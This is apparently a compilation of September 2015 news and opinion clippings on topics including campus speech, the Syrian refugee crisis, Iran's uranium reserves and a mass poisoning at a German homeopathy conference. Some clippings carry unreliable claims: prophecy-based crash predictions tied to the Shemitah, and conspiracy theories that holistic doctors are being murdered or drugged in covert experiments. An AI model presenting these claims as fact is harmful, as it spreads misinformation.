A student group's Web site isn't a ''public forum.'' An e-mail exchange among a group of acquaintances about, say, supposed biological differences between racial groups isn't in a ''public forum'' or ''public commentary.'' A conversation over lunch in the cafeteria isn't public commentary or in a public forum. The ''This statement shall not be interpreted '...'' proviso quite clearly doesn't safeguard this sort of speech.
4. Now I'm a tenured faculty member, and I'll keep on expressing my views despite this sort of policy. But what about undergraduates? Graduate students, who might be relying on the university for teaching assistant positions, progress in their departments, and more? Lecturers who don't have tenure? Tenure-track faculty members who don't yet have tenure?
When these students and faculty members are told that certain views about disabilities, about race or ethnicity, or (by obvious extension) about sexual orientation, sex, or religion have ''no place at the University'' '-- and violate others' rights to be ''free from'' such ''expressions'' '-- will they feel free to openly discuss these topics? Or will they realize that they had best follow the orthodoxy?
For more on these issues, see this post about the UC and ''microaggressions'' and this post about proposals to institute a UC policy against supposedly ''anti-Semitic'' criticisms of Israel.
Eugene Volokh teaches free speech law, religious freedom law, church-state relations law, a First Amendment Amicus Brief Clinic, and tort law, at UCLA School of Law, where he has also often taught copyright law, criminal law, and a seminar on firearms regulation policy.
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Moral Self Licensing
Facebook tests temporary profile pictures for supporting causes | The Verge
Sat, 12 Sep 2015 13:02
Changing your profile photo is a puzzlingly big decision, but Facebook is trying to make it easier to quickly change them up every so often. According to TechCrunch, Facebook is testing a new feature that allows people to temporarily set a new profile photo, which will then go away after a set number of hours, days, or weeks. Facebook tells TechCrunch that it's making the feature in response to the way that people often "use their profile pictures to support a cause, root for a team, and commemorate milestones like birthdays and anniversaries." The idea is that by setting a temporary picture, you can express how you're feeling at the moment and then have it revert back to normal when appropriate. Facebook reportedly wants to roll the feature out widely in the coming months.
In the case of supporting sports teams or celebrating birthdays, this feature makes a lot of sense. It even seems like a fun way to show a bit more personality on a site that places so much value on the long-term. But it's also easy to look at this cynically, since the most visible profile changes to spread across Facebook are done in support of causes, like to celebrate the Supreme Court's marriage ruling in June. If people were to put up rainbow-coated pictures using this temporary photo feature, there'd certainly be a lot less of them still around today. On the other hand, this feature may well make it easier for people to show support for different causes that they might otherwise let pass them by. At a time when you might show support for a cause with a single tweet, there may actually be something meaningful about changing your profile picture for a few days, even if you set it up to disappear.
Shemitah
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Table of Contents '-- September 2015, 34 (9)www.jultrasoundmed.org/content/currentSep 1, 2015 - Journal of Ultrasound in Medicine September 2015 34:1529-1534; Published Online First August 7, 2015, doi:10.7863/ultra.15.14.08062.Table of Contents '-- September 2015, 34 (3)rsq.oxfordjournals.org/content/currentVolume 34 Issue 3 September 2015. To see an article, click its [Full ... Refugee Survey Quarterly (2015) 34 (3): 24-45 doi:10.1093/rsq/hdv010. Abstract · Full Text ...Table of Contents '-- September 2015, 34 (6)jag.sagepub.com/content/current... in Long-Term Care Facilities. Journal of Applied Gerontology September 2015 34: 675-690, first published on April 15, 2013 doi:10.1177/0733464813483209.Lesson for September 13, 2015: Sharing with Sincerity (Acts ...christianstandard.com/2015/.../lesson-for-september-13-2015-sharing-wi...Rating: 2.8 - 'Ž5 votes
6 days ago - This lesson treatment is published in the September 6 issue of The ... Lesson for September 13, 2015: Sharing with Sincerity (Acts 4:34'--5:10).
10 Things That Are Going to Happen Within 15 Days of the End of the Shemitah '-- Charisma News
Sun, 13 Sep 2015 00:13
The Shemitah is rapidly approaching. (Carolina –dman/Flickr/Creative Commons) Note: The opinions of this writer do not necessarily reflect those of Charisma Media.
Is a great shaking coming to America? An amazing convergence of events is going to take place during the last several weeks of September 2015.
Many are suggesting that this could indicate that something really big is about to happen. In fact, some vendors of emergency food are reporting shortages because so many people are stocking up on food and supplies in anticipation of what is coming.
And of course the list I am about to share with you is not necessarily exhaustive. There are events that are currently unknown or unanticipated that could also fall during this time frame. But without a doubt, the incredible confluence of events that we already know will happen appears to be unlike anything that we have ever experienced before.
It all starts with the end of the Shemitah year on Sept. 13. During the last two cycles, we witnessed historic stock market crashes on the very last day of the Shemitah year (Elul 29 on the Biblical calendar). For example, if you go back to Sept. 17, 2001 (which was Elul 29 on the biblical calendar), we witnessed the greatest one-day stock market crash in all of U.S. history up until that time. The Dow plunged 684 points, and it was a record that held for exactly seven years until the end of the next Shemitah cycle.
On Sept. 29, 2008 (which was also Elul 29 on the biblical calendar), the Dow plummeted 777 points, which still today remains the greatest one-day stock market crash of all time in the United States.
Now we are in another Shemitah year. It began in the fall 2014, and it ends on Sept. 13, 2015.
So will we see a stock market crash in the United States on Sept. 13, 2015?
No we will not, because that day is a Sunday. So I can guarantee there will not be a stock market crash in the U.S. on that day. But as author Jonathan Cahn has pointed out in his book on the Shemitah, we have witnessed major stock market crashes happen just before the end of the Shemitah year and we have also witnessed major stock market crashes happen within just a few weeks after the end of the Shemitah year. So we are not necessarily looking at one particular date.
And this time around, a whole bunch of critical events just happen to fall in the period of time immediately following the end of the Shemitah year.
The following are 10 things that are going to happen within 15 days of the end of the Shemitah:
Sept. 14: Rosh Hashanah
Sept. 15: The Jade Helm military exercises are scheduled to end.
Sept. 15: The 70th session of the U.N. General Assembly begins on this date. It has been widely reported that France plans to introduce a resolution that will give formal U.N. Security Council recognition to a Palestinian state shortly after the new session begins. Up until now, the U.S. has always been the one blocking such a resolution, but Barack Obama has already indicated that things may be different this time around. If alarm bells are going off in your head as you read this, then you probably already understand how significant this event could potentially be.
Sept. 20 to Sept. 26: The "World Week for Peace in Palestine Israel" sponsored by the World Council of Churches.
Sept. 21: The U.N. International Day Of Peace. Could this be the day when the U.N. Security Council resolution establishing a Palestinian state is actually adopted?
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Sept. 23: Yom Kippur
Sept. 23: Pope Francis arrives at the White House to meet with Barack Obama. Some have suggested that the timing of this event is highly unusual.
Francis is the 266th pope, and he will be meeting with President Obama on the 266th day of the year, leading one Internet preacher to wonder if "something is being birthed" on that day, since 266 days is the typical human gestation period from conception to birth.
Sept. 24: The Pope addresses a joint session of the U.S. Congress.
Sept. 25 to Sept. 27: The United Nations is going to launch a brand-new sustainable development agenda called "The 2030 Agenda." The following is an excerpt from an article that I just wrote about this insidious new plan:
"If you didn't like 'Agenda 21,' then you really are not going to like 'The 2030 Agenda.'
"Next month, the United Nations is going to launch 'The 2030 Agenda' at a major conference that will be held from Sept. 25 to Sept. 27 in New York City. The pope is actually traveling to New York to deliver an address that will kick off this conference.
"Unlike Agenda 21, which primarily focused on the environment, the 2030 Agenda is truly a template for governing the entire planet. In addition to addressing climate change, it also sets ambitious goals for areas such as economics, health, energy, education, agriculture, gender equality and a whole host of other issues. As you will see below, this global initiative is being billed as a 'new universal Agenda' for humanity. If you are anything like me, alarm bells are going off in your head right about now."
Sept. 28: This is the date when the Feast of Tabernacles begins. It is also the date for the last of the four blood moons that fall on biblical festival dates during 2014 and 2015. This blood moon falls on the very first day of the Feast of Tabernacles, it will be a "supermoon," and it will be clearly visible from the city of Jerusalem. There are many that dismiss the blood moon phenomenon, but we have seen similar patterns before. For example, a similar pattern of eclipses happened just before and just after the destruction of the Jewish temple by the Romans in A.D. 70.
Many have also suggested that the Large Hadron Collider "is scheduled to perform a controversial experiment in September," but so far I have been unable to find any solid confirmation of this.
Just recently, author Jonathan Cahn released a new video in which he expressed his belief that a "great shaking is coming to America and the world." He points to the biblical pattern of desecration preceding judgment, and he is convinced that we recently witnessed a historic act of desecration here in the United States.
Many have asked Cahn whether America is headed for revival or shaking. He is convinced that revival can come out of shaking.
Personally, I believe that we will not have revival unless there is shaking.
As a nation, we have unapologetically embraced evil. We are extremely proud, arrogant, greedy and cold-hearted. I do not believe that there is any hope for our nation unless we are shaken to our core.
I am fully convinced that the months ahead are going to dramatically change life in America, but whether it happens right now or not, I am 100-percent convinced that a great shaking is coming to this nation at some point.
Michael T. Snyderis the publisher of The Economic Collapse Blog and author of The Beginning of the End.
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Germany Houses Asylum Seekers at Former Nazi Concentration Camp - World - Haaretz
Sat, 12 Sep 2015 20:31
Twenty-one men are staying at the former Nazi barracks in Buchenwald, the Mail Online reports.
The Nazi camp of Buchenwald, upon its liberation in 1945.Wikimedia CommonsGermany is housing asylum seekers in a former Nazi concentration camp, the Mail Online reported Friday.
According to the report, 21 men reside in a building once used as the barracks of the Buchenwald concentration camp. The asylum seekers are staying there while waiting to receive refugee status. Some have been living there for several months, while others are more recent arrivals.
The building is reportedly equipped with basic cooking facilities and bunk beds.
"It is an emergency solution, but it is unavoidable," the mayor of Berlin's Mitte district, Christian Hanke, was quoted as saying by the Mail Online. "There is a lot of room in the hangars."
The plan to house asylum seekers at the camp came under fire in January when it was first announced.
Around 250,000 prisoners were held at Buchenwald from its opening in July 1937 to its liberation in April 1945. An estimated 56,000 people were killed, including political prisoners, people dubbed "asocial" by the Nazis, Soviet prisoners of war, Sinti and Roma, and approximately 11,000 Jews.
The report emerged as Germany struggles to cope with a record-breaking influx of refugees. Foreign Minister Frank-Walter Steinmeier said Friday that up to 40,000 migrants might arrive in Germany on Saturday and Sunday, twice as many as last weekend, when authorities in Bavaria had warned they were barely coping. Some 450,000 people have come to Germany seeking refuge from war, persecution and poverty since the start of the year.
AP and Reuters contributed to the report.
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U.N. Official: 'Syrian Conflict Will Displace Another Million People'
Sat, 12 Sep 2015 17:12
A relief effort for Syrians in the Kawrgosk refugee camp in Irbil, northern Iraq, in 2013. Syria is now in its fifth year of war. (IHH Humanitarian Relief Foundation/ CC BY-SA 2.0)
One million more people will be displaced from Syria by the end of the year if the war in the country continues, according to a senior United Nations official.
With Syria now in its fifth year of war, humanitarian chief Yacoub El Hillo said the conflict had already uprooted a million people from the country so far in 2015.
An additional 250,000 people have been killed in the fighting, which has forced half of the Syrian population from their homes, creating 4 million refugees leaving the country and displacing about 7.6 million more inside its borders.
''Unless something big is done to resolve this conflict through political means, the human train that has started moving out of Syria and the neighborhood will continue to be running for many months to come,'' he said.
The Guardian reports:
He said that because neighboring countries, which have absorbed the bulk of the refugees, were now at crisis point, ''Europe will be faced with a refugee situation similar to the one that led to the creation of [the UN Refugee Agency] UNHCR in 1950.''
''The World Food Programme has zero dollars to provide food to 5 million people inside Syria come November.''
The absolute minimum amount needed to provide food for those affected for the rest of the year was $738m, he said.
''We still have the opportunity to invest and help many Syrians stay in Syria. Otherwise this human train will continue running in all directions, including Europe,'' Hillo said.
Hillo said the intensification of fighting in Aleppo and Deraa was of particular concern. ''These are two places in the north and in the south where I fear we will be witnessing more human movements as a result of the intensification of the fighting,'' he said.
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Syrian war seen displacing a million more this year: U.N. official | Reuters
Sat, 12 Sep 2015 14:09
Sat Sep 12, 2015 | 6:37 AM EDT
By Tom Perry
BEIRUT (Reuters) - One million more people will be displaced within Syria by the end of the year if the war there continues unabated, potentially adding to the flow of refugees to Europe, a senior U.N. official said.
Yacoub El Hillo, U.N. resident and humanitarian coordinator in Syria, said the conflict had already displaced one million people within Syria so far in 2015, with intensified fighting in much of the country now in its fifth year of war.
He urged greater international support for severely underfunded aid efforts aimed at sustaining Syrians in their country wherever possible, and warned that a forecast harsh winter ahead would bring even more hardship.
"Unless something big is done to resolve this conflict through political means, the human train that has started moving out of Syria and the neighborhood will continue to be running for many months to come," El Hillo told Reuters.
"Europe will be faced with a refugee situation similar to the one that led to the creation of UNHCR in 1950," he said, referring to the establishment of the U.N. refugee agency set up to help the displaced from the Second World War.
The conflict which has killed 250,000 people since 2011 has forced half of all Syrians from their homes, creating 4 million refugees and displacing some 7.6 million more within the country.
Its repercussions are being felt like never before in Europe, with tens of thousands of refugees trekking from Greece via the Balkans and Hungary towards western Europe.
"There are a million people displaced this year and the projection is another million will be displaced inside Syria between now and the end of the year if the violence continues to escalate," El Hillo said, speaking by phone from Damascus.
"So it is safe to assume that more people will be heading to Europe, and rightly so, because the countries that have so generously been hosting these refugees '' Lebanon, Jordan, Iraq, Turkey, Egypt - are also reaching - in the case of some of them - a breaking point," he said.
The multi-sided war which began in 2011 with an uprising against President Bashar al-Assad has accelerated this year.
Rebels have advanced against government forces in the north and the south, while Islamic State has battled Kurds in the northeast, and government forces and rebels further west. Fighting has also intensified in Aleppo.
"I remain very concerned by Aleppo and its surroundings, and Deraa and its surroundings," El Hillo said. "These are two places in the north and in the south where I fear we will be witnessing more human movements as a result of the intensification of the fighting," he said.
SUPPORTING AID EFFORTS IN SYRIA
Syria's neighbors have so far absorbed most of the refugees, with 1.9 million registered in Turkey, 1.1 million in Lebanon, and 630,000 in Jordan.
El Hillo urged more international support to help Syrians stay in the country - where possible. "As I speak to you today, WFP (World Food Programme) has zero dollars to provide food to 5 million people inside Syria come Nov. 1," he said.
A $2.9 billion appeal to meet needs in Syria this year has so far secured $908 million. For the rest of the year, the appeal is for $738 million, he said, describing that as the absolute minimum needed.
"We still have the opportunity to invest and help many Syrians stay in Syria. Otherwise this human train will continue running in all directions, including direction Europe," he said.
The bulk of Syrians still living in Syria are in the government-held areas of the west. Since last year, aid access to opposition-held areas has improved thanks to cross-border deliveries from Jordan and Turkey.
El Hillo said: "We have 4.8 million people in hard to reach areas in Syria. We are now able to reach more and more of them than before with cross border access, and to a lesser extent through cross line deliveries which have slowed down this year mainly due to government restrictions and increasing insecurities."
Cross line deliveries refers to aid deliveries from government-held to opposition-held areas.
"There are 420,000 people in besieged areas in Syria, the biggest portion of them besieged by ISIL in Deir al-Zor," El Hillo said, referring to a government-held city in eastern Syria besieged by Islamic State.
"We are ready to talk to anyone to reach civilians and deliver urgently needed humanitarian assistance, but the fact of the matter is we have been extremely unsuccessful in reaching people in areas controlled by ISIL."
(editing by Janet McBride)
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Earon
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Iran says finds unexpectedly high uranium reserve
Sat, 12 Sep 2015 21:22
Iran says finds unexpectedly high uranium reserveTop News
Iran says finds unexpectedly high uranium reserve
Sat, Sep 12 13:54 PM BST
DUBAI (Reuters) - Iran has discovered an unexpectedly high reserve of uranium and will soon begin extracting the radioactive element at a new mine, the head of Iran's Atomic Energy Organisation said on Saturday.
The comments cast doubt on previous assessments from some Western analysts who said the country had a low supply and would sooner or later would need to import uranium, the raw material needed for its nuclear programme.
Any indication Iran could become more self-sufficient will be closely watched by world powers, which reached a landmark deal with Tehran in July over its programme. They had feared the nuclear activities were aimed at acquiring the capability to produce atomic weapons - something denied by Tehran.
"I cannot announce (the level of) Iran's uranium mine reserves. The important thing is that before aerial prospecting for uranium ores we were not too optimistic, but the new discoveries have made us confident about our reserves," Iranian nuclear chief Ali Akbar Salehi was quoted as saying by state news agency IRNA.
Salehi said uranium exploration had covered almost two-thirds of Iran and would be complete in the next four years.
Uranium can be used for civilian power production and scientific purposes, but is also a key ingredient in nuclear weapons.
The July deal between Iran and world powers will lift international sanctions on Iran in exchange for at least a decade of curbs on the country's nuclear activity.
After decades of efforts, Iran - which has consistently said its programme is for peaceful purposes - has achieved a full nuclear fuel cycle, ranging from the extraction of uranium ore to enrichment and production of fuel rods for nuclear reactors.
Sanctions on companies taking part in Iran's uranium mining industry will be lifted when the agreement is implemented.
Salehi said uranium extraction was set to begin at a new mine in the central province of Yazd, according to IRNA.
Some Western analysts have previously said that Iran was close to exhausting its supply of yellowcake - or raw uranium - and that mining it domestically was not cost-efficient.
A report published in 2013 by U.S. think-tanks Carnegie Endowment and the Federation of American Scientists said the scarcity and low quality of Iran's uranium resources compelled it "to rely on external sources of natural and processed uranium".
It added: "Despite the Iranian leadership's assertions to the contrary, Iran's estimated uranium endowments are nowhere near sufficient to supply its planned nuclear programme."
Iran has repeatedly denied overseas media reports that it has tried to import uranium from countries like Kazakhstan and Zimbabwe.
(Reporting by Bozorgmehr Sharafedin; Editing by Noah Browning and Pravin Char)
Iran says finds unexpectedly high uranium reserveTop News
Iran says finds unexpectedly high uranium reserve
Sat, Sep 12 13:54 PM BST
DUBAI (Reuters) - Iran has discovered an unexpectedly high reserve of uranium and will soon begin extracting the radioactive element at a new mine, the head of Iran's Atomic Energy Organisation said on Saturday.
The comments cast doubt on previous assessments from some Western analysts who said the country had a low supply and would sooner or later would need to import uranium, the raw material needed for its nuclear programme.
Any indication Iran could become more self-sufficient will be closely watched by world powers, which reached a landmark deal with Tehran in July over its programme. They had feared the nuclear activities were aimed at acquiring the capability to produce atomic weapons - something denied by Tehran.
"I cannot announce (the level of) Iran's uranium mine reserves. The important thing is that before aerial prospecting for uranium ores we were not too optimistic, but the new discoveries have made us confident about our reserves," Iranian nuclear chief Ali Akbar Salehi was quoted as saying by state news agency IRNA.
Salehi said uranium exploration had covered almost two-thirds of Iran and would be complete in the next four years.
Uranium can be used for civilian power production and scientific purposes, but is also a key ingredient in nuclear weapons.
The July deal between Iran and world powers will lift international sanctions on Iran in exchange for at least a decade of curbs on the country's nuclear activity.
After decades of efforts, Iran - which has consistently said its programme is for peaceful purposes - has achieved a full nuclear fuel cycle, ranging from the extraction of uranium ore to enrichment and production of fuel rods for nuclear reactors.
Sanctions on companies taking part in Iran's uranium mining industry will be lifted when the agreement is implemented.
Salehi said uranium extraction was set to begin at a new mine in the central province of Yazd, according to IRNA.
Some Western analysts have previously said that Iran was close to exhausting its supply of yellowcake - or raw uranium - and that mining it domestically was not cost-efficient.
A report published in 2013 by U.S. think-tanks Carnegie Endowment and the Federation of American Scientists said the scarcity and low quality of Iran's uranium resources compelled it "to rely on external sources of natural and processed uranium".
It added: "Despite the Iranian leadership's assertions to the contrary, Iran's estimated uranium endowments are nowhere near sufficient to supply its planned nuclear programme."
Iran has repeatedly denied overseas media reports that it has tried to import uranium from countries like Kazakhstan and Zimbabwe.
(Reporting by Bozorgmehr Sharafedin; Editing by Noah Browning and Pravin Char)
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Ambassador Gregg on the Iran Nuclear Deal | Ambassadors Perspectives
Sun, 13 Sep 2015 00:46
Donald P. Gregg (Ambassador to South Korea, 1989-1993)
_____
In assessing the current nuclear deal with Iran, it may be useful to remind ourselves of some highly pertinent facts from the past that are seldom mentioned.
First, in 1953, the democratically elected premier of Iran, Mohammad Mossadegh, was overthrown by those avatars of American exceptionalism, the Dulles brothers, John Foster as secretary of state and Allen Welsh as director of central intelligence. We may find it convenient to forget this, but the Iranians never will. Mossadegh's major sin, in our eyes, was his nationalization of Iran's oil fields. The British were particularly outraged by this, and the American coup was undertaken with London's full support.
Second, in 1979, Iran's Islamic Revolution took place, spearheaded by the seizure of the American Embassy in Tehran, and bringing Ayatollah Ruhollah Khomeini to power.
Third, in 1980, Iraq invaded Iran over a border dispute, and in the ensuing bloody conflict, that lasted for eight years, America strongly supported Iraq against Iran.
Fourth, in early 2002, President George W. Bush gave his ''axis of evil'' speech, which led to the invasion of Iraq in 2003, created a deeply hostile relationship between Iran and the U.S. and ended a hopeful period of rapprochement between Washington and North Korea.
Fifth, from 2005 to 2013, Mahmoud Ahmadinejad, rabidly anti-Israel and anti-American, was president of Iran. Any sort of intensive diplomatic activity with the Iranians during that period would have been impossible.
This is a record of wreckage and conflict in the Middle East that President Obama seeks to curtail by reaching out to Iran that is not only a powerful country, but also a proud civilization, then known as Persia, going back thousands of years. Iran is a permanent major fact of life in its region. Can the same be said of fractured Iraq or tragic Syria? A full diplomatic relationship with Tehran is very much in our interests, and is sought by most Iranians
Iran is already changing. The elections of 2013 brought to power moderate men with whom it was possible to negotiate this deal. Our partners in this accomplishment, China, France, German, Russia and the U. K., are all comfortable with it, which is a tremendous argument in its favor.
Will Iran fully comply with the letter and spirit of the agreement? They probably will, but maybe they won't. But the agreement puts us in a position, via inspections, to KNOW how the Iranians are behaving, and to react appropriately.
So I strongly believe that this agreement is in our interests, that we are better off with it than without it, that US legislators should support the deal, that in ten years it will stand as one of President Obama's greatest achievements, and that even the Israelis will have come to recognize that we have done them a great favor by bringing Iran back into full, civilized contact with the world.
***
Ambassador Gregg's memoir, ''Pot Shards: Fragments of a Life Lived in CIA, the White House, and the Two Koreas,'' is available now. For more information, please click here.
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Tags: Congress, Donald Gregg, Foreign Policy, Iran, Iran Nuclear Deal, Nonproliferation
This entry was posted on September 1, 2015 at 1:49 pm and is filed under Foreign Policy, Near East. You can follow any responses to this entry through the RSS 2.0 feed. Responses are currently closed, but you can trackback from your own site.
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Big Pharma
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Germany: 30 Apparently Suffer Amphetamine Poisoning - US News
Sun, 13 Sep 2015 04:51
Ambulance vehicles are parked side by side in Handeloh, in the German state of Lower Saxony on Friday. Authorities say that rescuers called to a conference center in northern Germany found some 30 people staggering and suffering from cramps, apparently as a result of poisoning with amphetamines.
BERLIN (AP) '-- Authorities say emergency workers called to a conference center in northern Germany found some 30 people staggering and suffering from cramps, apparently as a result of amphetamine poisoning.
The local government said 15 ambulances and a helicopter were sent to the scene Friday in the small town of Handeloh, south of Hamburg, the dpa news agency reported.
Fire service spokesman Matthias Koehlbrandt told broadcaster NDR the group was aged between 25 and 55. NDR reported they were alternative and homeopathic practitioners, and that they were taken to the hospital.
Authorities said their preliminary finding was that the group was poisoned with amphetamines, but Koehlbrandt said they didn't knowingly take the substance.
Copyright 2015 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
29 Holistic Doctors and Practitioners Poisoned During Conference, Some in Critical Condition | Wake Up World
Sat, 12 Sep 2015 14:06
11th September 2015
By Carolanne Wright
Contributing Writer for Wake Up World
''Police suspect foul play after 29 delegates at an alternative medicine seminar in Germany started staggering suffering from violent convulsions, delusions and hallucinations.'' ~ The Telegraph
Over the past several months, a rash of deaths and mysterious disappearances of holistic physicians have taken place in the United States. And now, a new report has come forward where 29 alternative and homeopathic practitioners have suffered poisoning from a synthetically-produced psychedelic drug during a conference in Handeloh, a small town near Hamburg, Germany. Members of the group were found in the garden staggering, doubled over in pain. A number were experiencing hallucinations, breathing problems and life-threatening conditions. Barely able to speak, they were rushed to the hospital.
''The patients, aged between 24 and 56, were found suffering from delusions, breathing problems, racing hearts and cramps, some in life-threatening conditions, according to the public broadcaster NDR'... Some were suffering delusions and even psychoses. Some patients were administered sedatives en route to hospital, said the emergency response physician who headed the rescue operation, Dr. Kai Rathjen.'' [source]
The local government said 160 emergency personnel in 15 ambulances and a helicopter responded to the crisis and swiftly took the patients to medical clinics in the Hamburg region.
Fire service spokesman Mathias K¶hlbrandt told public broadcaster NDR (Norddeutscher Rundfunk, or Northern German Broadcasting) that he had never experienced this kind of situation. He described ''men and women lay with cramps in the garden and in front of the building'', and added that they did not seem to have knowingly taken a drug.
A criminal investigation is underway. ''The questioning begins as soon as the persons are coherent and their statements are useable,'' a police official told the news agency DPA.
According to the The Telegraph:
''There must have been a multiple overdose,'' Torsten Passie, a member of a German government commission on narcotics, told NDR television. ''That argues against the people being aware what they were taking.''
2C-EThe drug in question is 2C-E (4-ethyl-2,5-dimethoxyphenethylamine), a psychedelic phenethylamine first noted by chemist Alexander Shulgin in the book ''PiHKAL: A Chemical Love Story.'' Normally administered orally or through a nasal spray, 2C-E is exceptionally dose sensitive '-- a small increase can trigger negative reactions.
The drug is also known as Aquarust, which Germany outlawed in 2014.
According to Drugs-Forum, the effects of 2C-E include:
General change in consciousness (as with most psychoactives)Pupil dilationVisual patterning, closed and open eye visualsConfusion, difficulty concentrating, and/or scrambled thoughtsChange in perception of timeSlight increase in body temperatureSlight increase in heart rateMuscle tension and achingJaw tensionIncreased perspirationGastrointestinal discomfort, nausea and vomitingDizziness, confusionOver-awareness & over-sensitization to music and noiseParanoia, fearUnwanted life-changing spiritual experiencesPossible difficulty integrating experiences
Holistic Doctors Under Attack?The Handeloh poisoning follows a series of murders, deaths and disappearances this summer of chiropractors, osteopaths and medical doctors, most of whom were practicing holistic medicine. The apparent coincidence of these events has left many asking: Are holistic doctors under attack?
Dr. Jeff Bradstreet, a leading autism researcher and physician, was found dead from a gun shot wound to the chest in late June. Dubbed a ''no-vax'' doctor, Dr. Bradstreet's reportedly helped over 4,000 children recover from autism and other correlated conditions. His death occurred shortly after the U.S. Food and Drug Administration (FDA) and the Georgia Drugs and Narcotics Agency raided his clinic.Two chiropractors, Dr. Holt and Dr. Hedendal, died a few days later from ''unknown causes.'' Dr. Holt, 33 and Dr. Hedendal, 67, were both were reportedly healthy, and both were described by their families as very fit. Both men were chiropractors and fathers, and both were found dead on the East Coast of Florida, both on Father's Day.The following week, on June 29th, Integrative Medicine practitioner Theresa Sievers MD was murdered in her home. Says Sheriff Mike Scott who is leading the investigation into her homocide, ''Based on the evidence we have to this point'... [Sievers' murder] is not a random, arbitrary situation.''The same day, Jeffrey Whiteside MD vanished without a trace. Dr. Whiteside was a pulmonologist known for his successful treatment of lung cancer, who reportedly vanishing while vacationing with family in Wisconsin. On July 23rd, authorities found the body of Dr. Jeffrey Whiteside, who at that stage had been missing for over three weeks. The sheriff's department said that a .22-caliber handgun was found at the scene, however authorities did not release the cause of death following the autopsy.Four days later, Patrick Fitzpatrick MD also disappeared while travelling from North Dakota to neighboring Montana. His truck and trailer were found on the roadside, however authorities have found no trace of Dr. Fitzpatrick.One week later, Lisa Riley, a doctor of osteopathic medicine, was found in her home with a gunshot to the head. Authorities questioned her husband but found no evidence to implicate him in Dr. Riley's murder.Dr. Ron Schwartz was murdered on July 19th. Palm Beach County Sheriff's Office spokeswoman Teri Barbera said Schwartz's death is considered a homicide, however authorities have no firm leads.Two days afterwards, Nicholas Gonzalez, a renowned holistic medical doctor who specialized in holistic cancer treatment, died suddenly '-- even though he was in excellent health. Dr. Gonzalez was the author of What Went Wrong: The Truth Behind the Clinical Trial of the Enzyme Treatment of Cancer, in which he described a concerted effort by the cancer industry to suppress evidence of available, low-cost cancer treatments.Mary Rene Bovier, an osteopathic physician specializing in behavioral and healthcare counseling, was murdered in her home mid-August. Dr. Bovier, 65, was found stabbed to death in her home in Pennsylvania, in a scene that authorities report to be indicative of homicide.All deaths and disappearances took place in Eastern States, many in the south.
Further details can be found here.
Article sources
HOLISTIC DOCTORS POISONED, THIS TIME AT A CONFERENCE? - Dare We Say Conspiracy, You Tell Me ("Other")
Sat, 12 Sep 2015 14:05
You may have been hearing stories about holistic doctors meeting untimely deaths recently, and now there's another story, shared courtesy of Ms. M.W., that clearly indicates that someone, somewhere, has it in for doctors who challenge the assumptions of modern pharmacologically based medicine. This time, however, it's 29 doctors, all apparently poisoned at a conference of holistic medicine in Germany, and this one is, as they say, a "whopper doozie":
29 Holistic Doctors and Practitioners Poisoned During Conference, Some in Critical Condition
Now what's really quite unsettling is that this appears to be a deliberate and concentrated attack, utilizing a synthetic drug, outlawed by the German government in 2014:
Over the past several months, a rash of deaths and mysterious disappearances of holistic physicians have taken place in the United States. And now, a new report has come forward where 29 alternative and homeopathic practitioners have suffered poisoning from a synthetically-produced psychedelic drug during a conference in Handeloh, a small town near Hamburg, Germany. Members of the group were found in the garden staggering, doubled over in pain. A number were experiencing hallucinations, breathing problems and life-threatening conditions. Barely able to speak, they were rushed to the hospital.
''The patients, aged between 24 and 56, were found suffering from delusions, breathing problems, racing hearts and cramps, some in life-threatening conditions, according to the public broadcaster NDR'... Some were suffering delusions and even psychoses. Some patients were administered sedatives en route to hospital, said the emergency response physician who headed the rescue operation, Dr. Kai Rathjen.''
The drug itself, 4-ethyl-2,5-dimethoxyphenethylamine, is, as the article indicates, highly "dose sensitive" and can produce the following behaviors and side-effects noted in the article:
General change in consciousness (as with most psychoactives)Pupil dilationVisual patterning, closed and open eye visualsConfusion, difficulty concentrating, and/or scrambled thoughtsChange in perception of timeSlight increase in body temperatureSlight increase in heart rateMuscle tension and achingJaw tensionIncreased perspirationGastrointestinal discomfort, nausea and vomitingDizziness, confusionOver-awareness & over-sensitization to music and noiseParanoia, fearUnwanted life-changing spiritual experiencesPossible difficulty integrating experiencesEmphases added)Now the article itself, as you'll note, raises the possibility that this is connected to the spate of deaths of holistic and alternative medicine practitioners in the southeastern United States. Certainly, the spate of deaths does raise the possibility that someone, somewhere, wants to silence the opposition and questions of "standard medicine" particularly where vaccines and pharamcological-surgery solutions are the all-but--all-encompassing norm. And certainly the speculation could be advanced that this might be what has happened at this German conference.
However, as one might expect, our high octane speculation of the day is a bit different, for there are a number of obvious differences between the German situation and the American one. The first of these is that in the American case, the deaths and disappearances are on an inidividual, case-by-case basis, rather than a mass targeting of a group, as in the German instance. The second of these is that in the American case, we are dealing with deaths and weird disappearances, i.e., if there is a conspiracy at work, then it would appear that someone is deliberately trying to silence the "opposition" or at least a few of its more outspoken proponents. In the German case, however, an entire group was given an apparently dangerous psycho-active drug to a group, a drug which, according to the article itself, can produce not only physical effects, but altered states of consciousness, including changes of perceptions of time, paranoia and fear, and "unwanted life-changing spiritual experiences" and "possible difficulty integrating experiences." The article does not state if these changes are permanent or not.
So it looks to me that, rather than dealing with elimination here, we might be dealing with some sort of experiment being performed on involuntary victims of a "drug trial". But since the effects of the drug are known, what sort of experiment might it be? I suggest that perhaps it is some sort of social experiment, with perhaps an ongoing experiment to determine the length of the effects of the drug. One is reminded of the television series Fringe with mad scientists Walter Bishop and William Bell secretly drugging people from children to college students with all manner of drugs to experiment with consciousness and parallel universes. It doesn't really take a rocket scientist to suspect "foul play" in other words, for that would seem to be obvious. The real question is, foul play for what purpose? and the setting, the drug, and the victims, suggest to my mind "covert experiment." This may be one to watch, to see what followup, if any, the media gives, and what the victims themselves has to say, and what they themselves suspect.
See you on the flip side...
Joseph P. Farrell has a doctorate in patristics from the University of Oxford, and pursues research in physics, alternative history and science, and "strange stuff". His book The Giza DeathStar, for which the Giza Community is named, was published in the spring of 2002, and was his first venture into "alternative history and science".
Homeopathisch experiment loopt mis: 29 dokters in het ziekenhuis #zaplog
Sat, 12 Sep 2015 14:02
